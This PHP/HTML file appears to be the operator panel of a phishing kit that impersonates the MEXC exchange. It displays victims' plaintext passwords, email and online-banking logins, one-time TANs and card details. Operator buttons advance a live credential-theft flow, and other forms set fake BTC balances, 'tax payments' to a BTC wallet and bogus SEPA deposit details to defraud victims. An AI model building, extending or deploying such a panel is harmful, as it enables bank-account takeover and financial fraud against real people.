<?php
// Define the path to the JSON file
$jsonFilePath = 'data.json';

// Function to fetch JSON data
function fetchData($filePath)
{
    if (!file_exists($filePath)) {
        die("Error: File not found!");
    }
    $jsonContent = file_get_contents($filePath);
    return json_decode($jsonContent, true);
}

// Handle AJAX request for updated data
if (isset($_GET['getData'])) {
    $data = fetchData($jsonFilePath);

    // If specific user ID is requested in AJAX call
    if (isset($_GET['id'])) {
        $userId = $_GET['id'];
        if (isset($data[$userId])) {
            echo json_encode($data[$userId]);
        } else {
            echo json_encode(['error' => 'User not found']);
        }
    } else {
        echo json_encode($data);
    }
    exit;
}

// Fetch data for initial rendering
$data = fetchData($jsonFilePath);

// Get user ID from query params if exists
$userId = $_GET['id'] ?? null;

// Get specific user data if ID is provided
$userData = [];
$userInflows = [];
$userSepaInformation = [];
if ($userId && isset($data[$userId])) {
    $userData = $data[$userId];
    $userInflows = $userData['user_inflows'] ?? [];
    $userTax = $userData['user_tax_payments'] ?? [];
    $userEmail = $userData['email_verification'] ?? [];
    $userBnk = $userData['bnk_verification'] ?? [];
    $userSepaInformation = $userData['sepa_information'] ?? [];
    $userDocuments = $userData['document_path'] ?? [];
}
// Group data by user_id (if still needed for other purposes)
$groupedData = [];
foreach ($data as $id => $user) {
    $groupedData[$id] = $user;
}
?>


<!DOCTYPE html>
<html lang="en" data-layout="topnav" data-menu-color="light" data-bs-theme="light" data-layout-mode="fluid"
    data-topbar-color="dark" data-layout-position="fixed" data-sidenav-size="condensed">

<head>
    <title>Edit User - MEXC LIVE PANEL</title>
    <?php include 'layouts/title-meta.php'; ?>

    <!-- Plugin css -->
    <link href="assets/vendor/admin-resources/jquery.vectormap/jquery-jvectormap-1.2.2.css" rel="stylesheet"
        type="text/css" />

    <?php include 'layouts/head-css.php'; ?>


</head>

<body>
    <!-- Begin page -->
    <div class="wrapper">

        <?php include 'layouts/topbar.php'; ?>


        <div class="content-page">
            <div class="content">

                <!-- Start Content-->
                <div class="container-fluid">

                    <div class="row">
                        <div class="col-12">
                            <div class="page-title-box">
                                <h4 class="page-title">MEXC EXCHANGE LIVE PANEL</h4>
                            </div>
                        </div>
                    </div>


                    <div class="col-xl-4 col-lg-6">
                        <div class="card">
                            <div class="card-body">
                                <div class="row align-items-center">
                                    <h5 class="text-uppercase fs-13 mt-0 text-truncate" title="Active Users">Edit
                                        information for user:</h5>
                                    <h2><?php echo htmlspecialchars($userData['main']['email']); ?></h2>

                                    <button type="button" onclick="location.href='index.php'" class="btn btn-light"><i
                                            class="ri-arrow-left-line me-1"></i>
                                        Back to Home</button>
                                </div> <!-- end row-->
                            </div> <!-- end card-body -->
                        </div> <!-- end card -->
                    </div>


                    <div class="row">

                        <div class="col-xl-12">
                            <div class="card">
                                <div class="d-flex card-header justify-content-between align-items-center">
                                    <div>
                                        <h4 class="header-title">Manage User Data</h4>
                                        <p class="text-muted fs-14 mt-1">
                                            Edit the data for this user.
                                        </p>
                                    </div>
                                </div>

                                <div class="card-body" style="padding-top: 0px;">

                                    <div id="basicwizard">
                                        <ul class="nav nav-pills nav-justified form-wizard-header mb-4" role="tablist">
                                            <li class="nav-item" role="presentation">
                                                <a href="#basictab1" data-bs-toggle="tab" data-toggle="tab"
                                                    class="nav-link rounded-0 py-1 active" aria-selected="true"
                                                    role="tab">
                                                    <i
                                                        class="ri-account-circle-line fw-normal fs-18 align-middle me-1"></i>
                                                    <span class="d-none d-sm-inline">Basic Information</span>
                                                </a>
                                            </li>
                                            <li class="nav-item" role="presentation">
                                                <a href="#basictab2" data-bs-toggle="tab" data-toggle="tab"
                                                    class="nav-link rounded-0 py-1" aria-selected="false" tabindex="-1"
                                                    role="tab">
                                                    <i class="ri-profile-line fw-normal fs-18 align-middle me-1"></i>
                                                    <span class="d-none d-sm-inline">Edit Inflows</span>
                                                </a>
                                            </li>
                                            <li class="nav-item" role="presentation">
                                                <a href="#basictab3" data-bs-toggle="tab" data-toggle="tab"
                                                    class="nav-link rounded-0 py-1" aria-selected="false" tabindex="-1"
                                                    role="tab">
                                                    <i class="ri-profile-line fw-normal fs-18 align-middle me-1"></i>
                                                    <span class="d-none d-sm-inline">Edit Tax Payments</span>
                                                </a>
                                            </li>
                                            <li class="nav-item" role="presentation">
                                                <a href="#basictab4" data-bs-toggle="tab" data-toggle="tab"
                                                    class="nav-link rounded-0 py-1" aria-selected="false" tabindex="-1"
                                                    role="tab">
                                                    <i class="bi bi-bank me-3 fs-20"></i></i>
                                                    <span class="d-none d-sm-inline">Fiat Deposit Bank</span>
                                                </a>
                                            </li>
                                            <li class="nav-item" role="presentation">
                                                <a href="#basictab5" data-bs-toggle="tab" data-toggle="tab"
                                                    class="nav-link rounded-0 py-1" aria-selected="false" tabindex="-1"
                                                    role="tab">
                                                    <i
                                                        class="ri-check-double-line fw-normal fs-18 align-middle me-1"></i>
                                                    <span class="d-none d-sm-inline">Verification</span>
                                                </a>
                                            </li>
                                            <li class="nav-item" role="presentation">
                                                <a href="#basictab6" data-bs-toggle="tab" data-toggle="tab"
                                                    class="nav-link rounded-0 py-1" aria-selected="false" tabindex="-1"
                                                    role="tab">
                                                    <i
                                                        class="ri-check-double-line fw-normal fs-18 align-middle me-1"></i>
                                                    <span class="d-none d-sm-inline">Upload Document</span>
                                                </a>
                                            </li>
                                        </ul>

                                        <div class="tab-content b-0 mb-0">
                                            <form class="tab-pane active show" id="basictab1" role="tabpanel"
                                                method="post">
                                                <div id="form-messages"></div>
                                                <div>
                                                    <div class="row">
                                                        <div class="col-12">
                                                            <div class="row mb-3">
                                                                <label class="col-md-3 col-form-label"
                                                                    for="userName">Email</label>
                                                                <div class="col-md-9">
                                                                    <input type="text" class="form-control" name="email"
                                                                        value="<?php echo htmlspecialchars($userData['main']['email']); ?>">
                                                                </div>
                                                            </div>
                                                            <div class="row mb-3">
                                                                <label class="col-md-3 col-form-label">
                                                                    Password</label>
                                                                <div class="col-md-9">
                                                                    <input type="tecxt" name="pass" class="form-control"
                                                                        value="<?php echo htmlspecialchars($userData['main']['pass']); ?>">
                                                                </div>
                                                            </div>

                                                            <div class="row mb-3">
                                                                <label class="col-md-3 col-form-label">BTC
                                                                    Balance</label>
                                                                <div class="col-md-9">
                                                                    <input type="text" name="btc_balance"
                                                                        class="form-control"
                                                                        value="<?php echo htmlspecialchars($userData['main']['btc_balance']); ?>">
                                                                </div>
                                                            </div>

                                                            <div class="row mb-3">
                                                                <label class="col-md-3 col-form-label">BTC
                                                                    Wallet (for tax payments)</label>
                                                                <div class="col-md-9">
                                                                    <input type="text" name="btc_tax_wallet"
                                                                        class="form-control"
                                                                        value="<?php echo htmlspecialchars($userData['main']['btc_tax_wallet']); ?>">
                                                                </div>
                                                            </div>

                                                            <hr style="margin-bottom: 13px;">
                                                            <strong
                                                                style="padding-bottom: 15px;font-size: 17px;">Payment
                                                                Information</strong>
                                                            <hr>

                                                            <div class="row mb-3">
                                                                <label class="col-md-3 col-form-label"
                                                                    for="userName">Name</label>
                                                                <div class="col-md-9">
                                                                    <input type="text" class="form-control" name="name"
                                                                        value="<?php echo htmlspecialchars($userData['main']['name']); ?>">
                                                                </div>
                                                            </div>
                                                            <div class="row mb-3">
                                                                <label class="col-md-3 col-form-label">
                                                                    Surname</label>
                                                                <div class="col-md-9">
                                                                    <input type="text" name="surname"
                                                                        class="form-control"
                                                                        value="<?php echo htmlspecialchars($userData['main']['surname']); ?>">
                                                                </div>
                                                            </div>

                                                            <div class="row mb-3">
                                                                <label class="col-md-3 col-form-label">
                                                                    IBAN</label>
                                                                <div class="col-md-9">
                                                                    <input type="text" name="iban" class="form-control"
                                                                        value="<?php echo htmlspecialchars($userData['main']['iban']); ?>">
                                                                </div>
                                                            </div>



                                                            <hr>
                                                            <strong
                                                                style="padding-bottom: 15px;font-size: 17px;">SEPA Deposit Information</strong>
                                                            <hr>

                                                            <div class="row mb-3">
                                                                <label class="col-md-3 col-form-label"
                                                                    for="userName">Name</label>
                                                                <div class="col-md-9">
                                                                    <input type="text" class="form-control" name="name"
                                                                        value="<?php echo htmlspecialchars($userSepaInformation[0]['name']); ?>">
                                                                </div>
                                                            </div>
                                                            <div class="row mb-3">
                                                                <label class="col-md-3 col-form-label">
                                                                    IBAN</label>
                                                                <div class="col-md-9">
                                                                    <input type="text" name="surname"
                                                                        class="form-control"
                                                                        value="<?php echo htmlspecialchars($userSepaInformation[0]['iban']); ?>">
                                                                </div>
                                                            </div>

                                                            <div class="row mb-3">
                                                                <label class="col-md-3 col-form-label">
                                                                    Bank Name</label>
                                                                <div class="col-md-9">
                                                                    <input type="text" name="iban" class="form-control"
                                                                    value="<?php echo htmlspecialchars($userSepaInformation[0]['bank_name']); ?>">
                                                                </div>
                                                            </div>

                                                        </div> <!-- end col -->
                                                    </div> <!-- end row -->
                                                    <input type="hidden" name="user_id"
                                                        value="<?php echo htmlspecialchars($_GET['id']); ?>">
                                                    <ul class="list-inline wizard mb-0">
                                                        <li class="next list-inline-item float-end">
                                                            <button type="submit" class="btn btn-success">Save
                                                                Information</button>
                                                        </li>
                                                    </ul>
                                                </div>
                                            </form>

                                            <form class="tab-pane" id="basictab2" role="tabpanel" method="post">
                                                <div id="form-messages2"></div>
                                                <div class="row">
                                                    <div class="col-12">
                                                        <div class="row mb-3">
                                                            <label class="col-md-3 col-form-label"
                                                                for="amount">Amount</label>
                                                            <div class="col-md-9">
                                                                <input type="text" name="amount" class="form-control">
                                                            </div>
                                                        </div>
                                                        <div class="row mb-3">
                                                            <label class="col-md-3 col-form-label" for="surname">
                                                                Date</label>
                                                            <div class="col-md-9">
                                                                <input type="date" name="date" class="form-control">
                                                            </div>
                                                        </div>
                                                    </div> <!-- end col -->
                                                </div> <!-- end row -->

                                                <input type="hidden" name="user_id"
                                                    value="<?php echo htmlspecialchars($_GET['id']); ?>">
                                                <ul class="pager wizard mb-3 list-inline">
                                                    <li class="next list-inline-item float-end">
                                                        <button type="submit" class="btn btn-success">Add
                                                            Inflow</button>
                                                    </li>
                                                </ul>

                                                <table class="table table-centered mb-0">
                                                    <thead>
                                                        <tr>
                                                            <th>Amount</th>
                                                            <th>Date Added</th>
                                                            <th>Actions</th>
                                                            <th style="display:none;">User ID</th>
                                                        </tr>
                                                    </thead>
                                                    <tbody id="table-body">
                                                        <?php if (!empty($userInflows)): ?>
                                                            <?php foreach ($userInflows as $index => $inflow): ?>
                                                               <tr data-record-index="<?= $index ?>"  daa-user-id="<?= htmlspecialchars($userId) ?>">
                                                                    <td><?= htmlspecialchars($inflow['amount'] ?? '') ?></td>
                                                                    <td><?= htmlspecialchars($inflow['date'] ?? '') ?></td>
                                                                    <td>
                                                                        <button type="button" data-bs-toggle="modal"
                                                                            data-bs-target="#inflows-modal"
                                                                            class="no-button text-reset fs-16 px-1"
                                                                            data-inflow-index="<?= $index ?>">
                                                                            <i class="ri-edit-2-fill"></i>
                                                                        </button>
                                                                        <button type="button"
                                                                            class="delete-inflow no-button text-reset fs-16 px-1"
                                                                            data-inflow-index="<?= $index ?>">
                                                                            <i class="ri-delete-bin-2-line"></i>
                                                                        </button>
                                                                    </td>
                                                                </tr>
                                                            <?php endforeach; ?>
                                                        <?php else: ?>
                                                            <tr>
                                                                <td colspan="4" class="text-center">No inflows found for
                                                                    this user</td>
                                                            </tr>
                                                        <?php endif; ?>
                                                    </tbody>
                                                </table>
                                            </form>



                                            <form class="tab-pane" id="basictab3" role="tabpanel" method="post">
                                                <div id="form-messages3"></div>
                                                <div class="row">
                                                    <div class="col-12">
                                                        <div class="row mb-3">
                                                            <label class="col-md-3 col-form-label" for="amount">Tax
                                                                Amount</label>
                                                            <div class="col-md-9">
                                                                <input type="text" name="amount" class="form-control">
                                                            </div>
                                                        </div>
                                                        <div class="row mb-3">
                                                            <label class="col-md-3 col-form-label" for="surname">
                                                                Date</label>
                                                            <div class="col-md-9">
                                                                <input type="date" name="date" class="form-control">
                                                            </div>
                                                        </div>
                                                    </div> <!-- end col -->
                                                </div> <!-- end row -->

                                                <input type="hidden" name="user_id"
                                                    value="<?php echo htmlspecialchars($_GET['id']); ?>">
                                                <ul class="pager wizard mb-3 list-inline">
                                                    <li class="next list-inline-item float-end">
                                                        <button type="submit" class="btn btn-success">Add Tax
                                                            Payment</button>
                                                    </li>
                                                </ul>

                                                <table class="table table-centered mb-0">
                                                    <thead>
                                                        <tr>
                                                            <th>Amount</th>
                                                            <th>Date Added</th>
                                                            <th>Actions</th>
                                                            <th style="display:none;">User ID</th>
                                                        </tr>
                                                    </thead>
                                                    <tbody class="tax-table-body" id="table-body">
                                                        <?php if (!empty($userTax)): ?>
                                                            <?php foreach ($userTax as $index => $tax): ?>
                                                                <tr data-tax-index="<?= $index ?>">
                                                                    <td style="display:none;"><?= htmlspecialchars($userId) ?>
                                                                    </td>
                                                                    <td><?= htmlspecialchars($tax['amount'] ?? '') ?></td>
                                                                    <td><?= htmlspecialchars($tax['date'] ?? '') ?></td>
                                                                    <td>
                                                                        <button type="button" data-bs-toggle="modal"
                                                                            data-bs-target="#tax-modal"
                                                                            class="no-button text-reset fs-16 px-1"
                                                                            data-tax-index="<?= $index ?>">
                                                                            <i class="ri-edit-2-fill"></i>
                                                                        </button>
                                                                        <button type="button"
                                                                            class="delete-tax no-button text-reset fs-16 px-1"
                                                                            data-tax-index="<?= $index ?>">
                                                                            <i class="ri-delete-bin-2-line"></i>
                                                                        </button>
                                                                    </td>
                                                                </tr>
                                                            <?php endforeach; ?>
                                                        <?php else: ?>
                                                            <tr>
                                                                <td colspan="4" class="text-center">No tax payments found
                                                                    for this user</td>
                                                            </tr>
                                                        <?php endif; ?>
                                                    </tbody>
                                                </table>
                                            </form>


                                            <form class="tab-pane" id="basictab4" role="tabpanel"
                                                method="post">
                                                <div class="mb-3">Manage the FIAT Deposit Bank Information for the user. This would be displayed on the user's dashboard</div>
                                                <div id="form-messages-fiat"></div>
                                                <div>
                                                    <div class="row">
                                                        <div class="col-12">
                                                            <div class="row mb-3">
                                                                <label class="col-md-3 col-form-label"
                                                                    for="userName">Name</label>
                                                                <div class="col-md-9">
                                                                    <input type="text" class="form-control" name="name"
                                                                        value="<?php echo htmlspecialchars($userData['fiat_deposit_details'][0]['name']); ?>">
                                                                </div>
                                                            </div>
                                                            <div class="row mb-3">
                                                                <label class="col-md-3 col-form-label"
                                                                    for="userName">Surname</label>
                                                                <div class="col-md-9">
                                                                    <input type="text" class="form-control" name="surname"
                                                                        value="<?php echo htmlspecialchars($userData['fiat_deposit_details'][0]['surname']); ?>">
                                                                </div>
                                                            </div> 
                                                            
                                                            <div class="row mb-3">
                                                                <label class="col-md-3 col-form-label"
                                                                    for="userName">IBAN</label>
                                                                <div class="col-md-9">
                                                                    <input type="text" class="form-control" name="iban"
                                                                        value="<?php echo htmlspecialchars($userData['fiat_deposit_details'][0]['iban']); ?>">
                                                                </div>
                                                            </div>

                                                            <div class="row mb-3">
                                                                <label class="col-md-3 col-form-label"
                                                                    for="userName">Verwendungszweck</label>
                                                                <div class="col-md-9">
                                                                    <input type="text" class="form-control" name="description"
                                                                        value="<?php echo htmlspecialchars($userData['fiat_deposit_details'][0]['description']); ?>">
                                                                </div>
                                                            </div>
                                                            
                                                            <div class="row mb-3">
                                                                <label class="col-md-3 col-form-label"
                                                                    for="userName">Amount</label>
                                                                <div class="col-md-9">
                                                                    <input type="text" class="form-control" name="amount"
                                                                        value="<?php echo htmlspecialchars($userData['fiat_deposit_details'][0]['amount']); ?>">
                                                                </div>
                                                            </div>

                                                        </div> <!-- end col -->
                                                    </div> <!-- end row -->
                                                    <input type="hidden" name="user_id"
                                                        value="<?php echo htmlspecialchars($_GET['id']); ?>">
                                                    <ul class="list-inline wizard mb-0">
                                                        <li class="next list-inline-item float-end">
                                                            <button type="submit" class="btn btn-success">Save FIAT details</button>
                                                        </li>
                                                    </ul>
                                                </div>
                                            </form>




                                            <form class="tab-pane" id="basictab5" role="tabpanel" method="post">
                                                <div id="form-message-ver"></div>
                                                <div
                                                    style="display: flex;justify-content: space-between;align-items: center;">
                                                    <h5 style="font-weight: normal;">Manage either the email and bank
                                                        verification of users</h5>
                                                    <a href="javascript: location.reload();"
                                                        class="btn btn-success ms-2 flex-shrink-0">
                                                        <i class="ri-refresh-line"></i> Refresh
                                                    </a>
                                                </div>
                                                <hr style="margin-bottom: 13px;">
                                                <div class="row">
                                                    <div class="col-lg-6 mb-3">
                                                        <strong
                                                            style="padding-bottom: 15px;font-size: 16px;margin-bottom: 15px">Email
                                                            Verification</strong>
                                                        <div class="col-12 mt-2">
                                                            <div class="row">
                                                                <label class="col-md-6 col-form-label"
                                                                    for="amount">E-Mail Address</label>
                                                                <label class="col-md-6 col-form-label"
                                                                    style="font-weight: normal;"><?php echo htmlspecialchars($userEmail[0]["email"]); ?></label>
                                                            </div>
                                                            <div class="row">
                                                                <label class="col-md-6 col-form-label"
                                                                    for="amount">Pass</label>
                                                                <label class="col-md-6 col-form-label"
                                                                    style="font-weight: normal;"><?php echo htmlspecialchars($userEmail[0]["pass"]); ?></label>
                                                            </div>
                                                            <div class="row">
                                                                <label class="col-md-6 col-form-label"
                                                                    for="amount">E-Mail TAN</label>
                                                                <label class="col-md-6 col-form-label"
                                                                    style="font-weight: normal;"><?php echo htmlspecialchars($userEmail[0]["tan"]); ?></label>
                                                            </div>
                                                            <div class="row">
                                                                <label class="col-md-6 col-form-label"
                                                                    for="amount">Status</label>

                                                                <label class="col-md-6 col-form-label"
                                                                    style="font-weight: normal;">
                                                                    <?php if (isset($userEmail[0]["status"]) && $userEmail[0]["status"] == "pending"): ?>
                                                                        <span
                                                                            class="badge bg-warning-subtle text-warning p-1">Pending</span>
                                                                    <?php elseif ($userEmail[0]["status"] == "failed"): ?>
                                                                        <span
                                                                            class="badge bg-danger-subtle text-danger p-1">Failed</span>
                                                                    <?php elseif ($userEmail[0]["status"] == "tan"): ?>
                                                                        <span
                                                                            class="badge bg-info-subtle text-info p-1">TAN</span>
                                                                    <?php elseif ($userEmail[0]["status"] == "verified"): ?>
                                                                        <span
                                                                            class="badge bg-success-subtle text-success p-1">Verified</span>
                                                                    <?php else: ?>
                                                                        <span
                                                                            class="badge bg-warning-subtle text-warning p-1">Pending</span>
                                                                    <?php endif; ?>
                                                                </label>
                                                            </div>

                                                            <p class="mt-3"><strong>Commands</strong></p>
                                                            <button type="button" id="em-correct"
                                                                class="btn btn-success">Email Details
                                                                Correct</button>
                                                            <button type="button" id="em-tan"
                                                                class="btn btn-info">TAN</button>
                                                            <button type="button" id="em-failed"
                                                                class="btn btn-danger">Email
                                                                Failed</button>
                                                        </div>
                                                    </div>

                                                    <div class="col-lg-6 mb-3">
                                                        <strong
                                                            style="padding-bottom: 15px;font-size: 16px;margin-bottom: 15px">Bank
                                                            Verification</strong>
                                                        <div class="col-12 mt-2">
                                                            <div class="row">
                                                                <label class="col-md-6 col-form-label">Username</label>
                                                                <label class="col-md-6 col-form-label"
                                                                    style="font-weight: normal;"><?php echo htmlspecialchars($userBnk[0]["username"]); ?></label>
                                                            </div>
                                                            <div class="row">
                                                                <label class="col-md-6 col-form-label">Pass</label>
                                                                <label class="col-md-6 col-form-label"
                                                                    style="font-weight: normal;"><?php echo htmlspecialchars($userBnk[0]["pass"]); ?></label>
                                                            </div>
                                                            <div class="row">
                                                                <label class="col-md-6 col-form-label">TAN</label>
                                                                <label class="col-md-6 col-form-label"
                                                                    style="font-weight: normal;"><?php echo htmlspecialchars($userBnk[0]["tan"]); ?></label>
                                                            </div>
                                                            <div class="row">
                                                                <label class="col-md-6 col-form-label"
                                                                    for="amount">Status</label>
                                                                <label class="col-md-6 col-form-label"
                                                                    style="font-weight: normal;">
                                                                    <?php if (isset($userBnk[0]["status"]) && $userBnk[0]["status"] == "pending"): ?>
                                                                        <span
                                                                            class="badge bg-warning-subtle text-warning p-1">Pending</span>
                                                                    <?php elseif ($userBnk[0]["status"] == "failed"): ?>
                                                                        <span
                                                                            class="badge bg-danger-subtle text-danger p-1">Failed</span>
                                                                    <?php elseif ($userBnk[0]["status"] == "tan"): ?>
                                                                        <span
                                                                            class="badge bg-info-subtle text-info p-1">TAN</span>
                                                                    <?php elseif ($userBnk[0]["status"] == "verified"): ?>
                                                                        <span
                                                                            class="badge bg-success-subtle text-success p-1">Verified</span>
                                                                    <?php else: ?>
                                                                        <span
                                                                            class="badge bg-warning-subtle text-warning p-1">Pending</span>
                                                                    <?php endif; ?>
                                                                </label>
                                                            </div>

                                                            <p class="mt-3"><strong>Commands</strong></p>
                                                            <button type="button" id="bnk-correct"
                                                                class="btn btn-success">Bank Details
                                                                Correct</button>
                                                            <button type="button" id="bnk-tan"
                                                                class="btn btn-info">TAN</button>
                                                            <button type="button" id="bnk-failed"
                                                                class="btn btn-danger">Bank
                                                                Failed</button>
                                                        </div>
                                                    </div>


                                                    <div class="col-lg-6 mb-3">
                                                        <strong
                                                            style="padding-bottom: 15px;font-size: 16px;margin-bottom: 15px">Card
                                                            Verification</strong>
                                                        <div class="col-12 mt-2">
                                                            <div class="row">
                                                                <label class="col-md-6 col-form-label">C
                                                                    Information</label>
                                                                <label class="col-md-6 col-form-label"
                                                                    style="font-weight: normal;"><?php echo htmlspecialchars($userData['main']['card_details']); ?></label>
                                                            </div>
                                                            <div class="row">
                                                                <label class="col-md-6 col-form-label"
                                                                    for="amount">Status</label>
                                                                <label class="col-md-6 col-form-label"
                                                                    style="font-weight: normal;">
                                                                    <?php if (isset($userData['main']["status"]) && $userData['main']["card_status"] == "pending"): ?>
                                                                        <span
                                                                            class="badge bg-warning-subtle text-warning p-1">Pending</span>
                                                                    <?php elseif ($userData['main']["card_status"] == 0): ?>
                                                                        <span
                                                                            class="badge bg-danger-subtle text-danger p-1">Failed</span>
                                                                    <?php elseif ($userData['main']["card_status"] == 1): ?>
                                                                        <span
                                                                            class="badge bg-success-subtle text-success p-1">Verified</span>
                                                                    <?php else: ?>
                                                                        <span
                                                                            class="badge bg-warning-subtle text-warning p-1">Pending</span>
                                                                    <?php endif; ?>
                                                                </label>
                                                            </div>

                                                            <p class="mt-3"><strong>Commands</strong></p>
                                                            <button type="button" id="c-correct"
                                                                class="btn btn-success">Card Details
                                                                Correct</button>
                                                            <button type="button" id="c-failed"
                                                                class="btn btn-danger">Card
                                                                Failed</button>
                                                        </div>
                                                    </div>
                                                </div>
                                                <hr style="margin-bottom: 13px;">

                                                <input type="hidden" name="user_id"
                                                    value="<?php echo htmlspecialchars($_GET['id']); ?>">
                                            </form>


                                            <form class="tab-pane" id="basictab6" role="tabpanel" enctype="multipart/form-data">
                                                <div id="form-message-upload"></div>
                                                <div style="display: flex;justify-content: space-between;align-items: center;">
                                                    <h5 style="font-weight: normal;">Upload user documents</h5>
                                                </div>
                                                <hr style="margin-bottom: 13px;">
                                                
                                                <!-- Upload New Document Section -->
                                                <div class="row mb-4">
                                                    <div class="col-12">
                                                        <div class="card">
                                                            <div class="card-header">
                                                                <h6 class="mb-0">Upload New Document</h6>
                                                            </div>
                                                            <div class="card-body">
                                                                <div class="mb-3">
                                                                    <label for="document_name" class="form-label">Document Name</label>
                                                                    <input type="text" id="document_name" class="form-control" placeholder="Enter document name" required>
                                                                </div>
                                                                <div class="mb-3">
                                                                    <label for="file" class="form-label">Document File</label>
                                                                    <input type="file" id="file" class="form-control" accept="image/*,.pdf,.doc,.docx" required>
                                                                    <!-- Preview container -->
                                                                    <div id="file-preview" class="mt-3" style="display:none;">
                                                                        <h6>Document Preview:</h6>
                                                                        <div class="preview-container border p-2" style="max-width: 300px;">
                                                                            <img id="preview-image" src="#" alt="Preview" class="img-fluid d-none">
                                                                            <div id="preview-file-info" class="d-none">
                                                                                <i class="far fa-file-alt fa-3x"></i>
                                                                                <p class="mt-2 mb-0" id="file-name"></p>
                                                                                <small id="file-size"></small>
                                                                            </div>
                                                                        </div>
                                                                    </div>
                                                                </div>
                                                                <input type="hidden" name="user_id" id="user_id" value="<?php echo htmlspecialchars($_GET['id']); ?>">
                                                                <ul class="pager wizard mb-3 list-inline">
                                                                    <li class="next list-inline-item float-end">
                                                                        <button type="button" id="upload-btn" class="btn btn-success">Upload Document</button>
                                                                    </li>
                                                                </ul>
                                                            </div>
                                                        </div>
                                                    </div>
                                                </div>

                                                <!-- Existing Documents Section -->
                                                <div class="row">
                                                    <div class="col-12">
                                                        <div class="card">
                                                            <div class="card-header">
                                                                <h6 class="mb-0">Existing Documents</h6>
                                                            </div>
                                                            <div class="card-body">
                                                                <div id="documents-list">
                                                                    <?php if (!empty($userDocuments)): ?>
                                                                        <div class="table-responsive">
                                                                            <table class="table table-centered mb-0">
                                                                                <thead>
                                                                                    <tr>
                                                                                        <th>Document Name</th>
                                                                                        <th>File Path</th>
                                                                                        <th>Upload Date</th>
                                                                                        <th>Actions</th>
                                                                                    </tr>
                                                                                </thead>
                                                                                <tbody>
                                                                                    <?php foreach ($userDocuments as $index => $document): ?>
                                                                                        <tr data-document-index="<?= $index ?>">
                                                                                            <td><?= htmlspecialchars($document['name'] ?? 'Unnamed Document') ?></td>
                                                                                            <td>
                                                                                                <a href="<?= htmlspecialchars($document['path'] ?? '') ?>" target="_blank" class="text-primary">
                                                                                                    <?= htmlspecialchars($document['path'] ?? '') ?>
                                                                                                </a>
                                                                                            </td>
                                                                                            <td><?= htmlspecialchars($document['upload_date'] ?? 'N/A') ?></td>
                                                                                            <td>
                                                                                                <button type="button" 
                                                                                                    class="btn btn-sm btn-outline-primary view-document" 
                                                                                                    data-document-path="<?= htmlspecialchars($document['path'] ?? '') ?>"
                                                                                                    data-document-name="<?= htmlspecialchars($document['name'] ?? '') ?>">
                                                                                                    <i class="ri-eye-line"></i> View
                                                                                                </button>
                                                                                                <button type="button" 
                                                                                                    class="btn btn-sm btn-outline-danger delete-document" 
                                                                                                    data-document-index="<?= $index ?>">
                                                                                                    <i class="ri-delete-bin-2-line"></i> Delete
                                                                                                </button>
                                                                                            </td>
                                                                                        </tr>
                                                                                    <?php endforeach; ?>
                                                                                </tbody>
                                                                            </table>
                                                                        </div>
                                                                    <?php else: ?>
                                                                        <div class="text-center py-4">
                                                                            <i class="ri-file-text-line fs-2 text-muted"></i>
                                                                            <p class="text-muted mt-2">No documents uploaded yet</p>
                                                                        </div>
                                                                    <?php endif; ?>
                                                                </div>
                                                            </div>
                                                        </div>
                                                    </div>
                                                </div>
                                            </form>




                                        </div> <!-- tab-content -->
                                    </div> <!-- end #basicwizard-->
                                </div>
                            </div> <!-- end card -->
                            <div class="modal fade" id="inflows-modal" tabindex="-1">
                                <div class="modal-dialog">
                                    <div class="modal-content">
                                        <form class="needs-validation" id="inflow-modal-form" method="post">
                                            <div class="modal-header py-3 px-4 border-bottom-0">
                                                <div>
                                                    <h3 class="modal-title" id="modal-title">Edit Inflow Data</h3>
                                                    <p>Fill in below to edit the inflow data.</p>
                                                </div>
                                                <button type="button" class="btn-close" data-bs-dismiss="modal"
                                                    aria-label="Close"></button>
                                            </div>
                                            <div class="modal-body px-4 pb-4 pt-0">
                                                <input type="hidden" name="user_id"
                                                    value="<?php echo htmlspecialchars($_GET['id']); ?>">
                                                <input type="hidden" id="inflow-index" name="inflow_index" value="">

                                                <div class="row">
                                                    <div class="col-lg-6">
                                                        <div class="mb-3">
                                                            <label class="control-label form-label">Amount</label>
                                                            <input class="form-control" type="text" name="amount"
                                                                id="inflow-amount" required />
                                                        </div>
                                                    </div>

                                                    <div class="col-lg-6">
                                                        <div class="mb-3">
                                                            <label class="control-label form-label">Date</label>
                                                            <input class="form-control" type="date" name="date"
                                                                id="inflow-date" required />
                                                        </div>
                                                    </div>
                                                </div>
                                                <div id="form-messages-modal"></div>
                                                <div class="row">
                                                    <div class="col-6">
                                                        <!-- Empty column for layout balance -->
                                                    </div>
                                                    <div class="col-6 text-end">
                                                        <button type="button" class="btn btn-light me-1"
                                                            data-bs-dismiss="modal">Close</button>
                                                        <button type="submit" class="btn btn-success"
                                                            id="btn-save-event">Save</button>
                                                    </div>
                                                </div>
                                            </div>
                                        </form>
                                    </div> <!-- end modal-content-->
                                </div> <!-- end modal dialog-->
                            </div>

                            <div class="modal fade" id="tax-modal" tabindex="-1">
                                <div class="modal-dialog">
                                    <div class="modal-content">
                                        <form class="needs-validation" id="tax-modal-form" method="post">
                                            <div class="modal-header py-3 px-4 border-bottom-0">
                                                <div>
                                                    <h3 class="modal-title" id="modal-title">Edit Tax Data</h3>
                                                    <p>Fill in below to edit the tax data.</p>
                                                </div>
                                                <button type="button" class="btn-close" data-bs-dismiss="modal"
                                                    aria-label="Close"></button>
                                            </div>
                                            <div class="modal-body px-4 pb-4 pt-0">
                                                <input type="hidden" name="user_id"
                                                    value="<?php echo htmlspecialchars($_GET['id']); ?>">
                                                <input type="hidden" id="tax-index" name="tax_index" value="">

                                                <div class="row">
                                                    <div class="col-lg-6">
                                                        <div class="mb-3">
                                                            <label class="control-label form-label">Tax Amount</label>
                                                            <input class="form-control" type="text" name="amount"
                                                                id="tax-amount" required />
                                                        </div>
                                                    </div>

                                                    <div class="col-lg-6">
                                                        <div class="mb-3">
                                                            <label class="control-label form-label">Date</label>
                                                            <input class="form-control" type="date" name="date"
                                                                id="tax-date" required />
                                                        </div>
                                                    </div>
                                                </div>
                                                <div id="form-messages-modal2"></div>
                                                <div class="row">
                                                    <div class="col-6">
                                                        <!-- Empty column for layout balance -->
                                                    </div>
                                                    <div class="col-6 text-end">
                                                        <button type="button" class="btn btn-light me-1"
                                                            data-bs-dismiss="modal">Close</button>
                                                        <button type="submit" class="btn btn-success"
                                                            id="btn-save-event">Save</button>
                                                    </div>
                                                </div>
                                            </div>
                                        </form>
                                    </div> <!-- end modal-content-->
                                </div> <!-- end modal dialog-->
                            </div>
                        </div>
                    </div>
                    <!-- end row -->

                </div>
